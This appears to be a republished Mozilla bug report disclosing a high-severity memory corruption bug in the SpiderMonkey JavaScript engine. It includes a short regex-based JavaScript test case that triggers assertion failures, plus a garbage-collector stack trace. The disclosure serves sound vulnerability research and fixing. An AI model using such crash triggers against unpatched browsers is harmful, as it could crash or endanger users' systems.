Skip to content
Memory corruption Disclosed report Advanced

Assertion failure: type <= JSVAL_TYPE_OBJECT, at js/Value.h:1047

Nils Bars Follow

Originally disclosed on Mozilla

  • Fixed in 5 days
  • Paid in 11 days
  • Disclosed after 5 days
Text
Steps to reproduce:

Version: `ee42ec590725439d33792bc8657d60f080786b2e`
Args: `js --fuzzing-safe <test-case>`
Test case:
'''
function a() {
    d = { 253: "" }
}
a()
function c() {
    /^(((e())|(f)()|(l)|(g)|(h)|(j(()()()()))|(i())|(k)|(b(()()))|())|(()()(())(())(())()()()()(())()()((()()()))()()(())(())()()()((u))))+/
        .test()
}
for (; ;)
    c()
'''


Actual results:

'''
Assertion failure: type <= JSVAL_TYPE_OBJECT, at js/Value.h:1047
as well as
Assertion failure: (ptrBits & 0x7) == 0, at js/Value.h:1017

#0 0x56328170f9b3 in JS::Value::type() const src/reproducebuild/dist/include/js/Value.h:1047:5
#1 0x56328170f9b3 in auto js::MapGCThingTyped<bool js::ApplyGCThingTyped<void js::CheckTracedThing<JS::Value>(JSTracer*, JS::Value const&)::'lambda'(JS::Value)>(JS::Value const&, JS::Value&&)::'lambda'(JS::Value)>(JS::Value const&, JS::Value&&) src/reproducebuild/dist/include/js/Value.h:1482:15
#2 0x5632816fb8ed in bool js::ApplyGCThingTyped<void js::CheckTracedThing<JS::Value>(JSTracer*, JS::Value const&)::'lambda'(JS::Value)>(JS::Value const&, JS::Value&&) src/reproducebuild/dist/include/js/Value.h:1529:10
#3 0x5632816fb8ed in void js::CheckTracedThing<JS::Value>(JSTracer*, JS::Value const&) src/js/src/gc/Marking.cpp:195:3
#4 0x563281782dbf in js::gc::TenuringTracer::traverse(JS::Value*) src/js/src/gc/Tenuring.cpp:213:3
#5 0x563281784d3a in js::gc::TenuringTracer::traceSlots(JS::Value*, JS::Value*) src/js/src/gc/Tenuring.cpp:685:5
#6 0x563281784d3a in js::gc::TenuringTracer::traceObjectElements(JS::Value*, unsigned int) src/js/src/gc/Tenuring.cpp:680:3
#7 0x563281784d3a in js::gc::TenuringTracer::traceObject(JSObject*) src/js/src/gc/Tenuring.cpp:664:5
#8 0x563281786c4f in js::gc::TenuringTracer::collectToObjectFixedPoint() src/js/src/gc/Tenuring.cpp:1088:5
#9 0x563281737f71 in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions, JS::GCReason) src/js/src/gc/Nursery.cpp:1551:9
#10 0x56328173737b in js::Nursery::collect(JS::GCOptions, JS::GCReason) src/js/src/gc/Nursery.cpp:1305:31
#11 0x5632816a99fc in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason, js::gcstats::PhaseKind) src/js/src/gc/GC.cpp:4890:13
#12 0x5632816781dd in js::gc::GCRuntime::minorGC(JS::GCReason, js::gcstats::PhaseKind) src/js/src/gc/GC.cpp:4861:3
#13 0x5632816b1d29 in void* js::gc::CellAllocator::RetryNurseryAlloc<(js::AllowGC)1>(JSContext*, JS::TraceKind, js::gc::AllocKind, unsigned long, js::gc::AllocSite*) src/js/src/gc/Allocator.cpp:103:23
#14 0x5632809c4ed2 in js::NativeObject* js::gc::CellAllocator::NewObject<js::NativeObject, (js::AllowGC)1>(JSContext*, js::gc::AllocKind, js::gc::Heap, JSClass const*, js::gc::AllocSite*) src/js/src/gc/Allocator-inl.h:94:16
#15 0x5632809c3b4d in js::NativeObject* js::gc::CellAllocator::NewCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&>(JSContext*, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&) src/js/src/gc/Allocator-inl.h:35:12
#16 0x5632809c3b4d in js::NativeObject* JSContext::newCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&>(js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&) src/js/src/vm/JSContext-inl.h:359:10
#17 0x5632809c3b4d in js::NativeObject::create(JSContext*, js::gc::AllocKind, js::gc::Heap, JS::Handle<js::SharedShape*>, js::gc::AllocSite*) src/js/src/vm/NativeObject-inl.h:488:28
#18 0x563280f247ed in js::RegExpObject* js::NativeObject::create<js::RegExpObject>(JSContext*, js::gc::AllocKind, js::gc::Heap, JS::Handle<js::SharedShape*>, js::gc::AllocSite*) src/js/src/vm/NativeObject.h:765:26
#19 0x563280f247ed in js::CloneRegExpObject(JSContext*, JS::Handle<js::RegExpObject*>) src/js/src/vm/RegExpObject.cpp:1131:35
#20 0x1b5d26309732  (<unknown module>)

'''

The original report as published on Mozilla's Bugzilla, by Nils Bars. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in JavaScript Engine. Mozilla made it public on 28 November 2024.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils Bars

View all

9 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.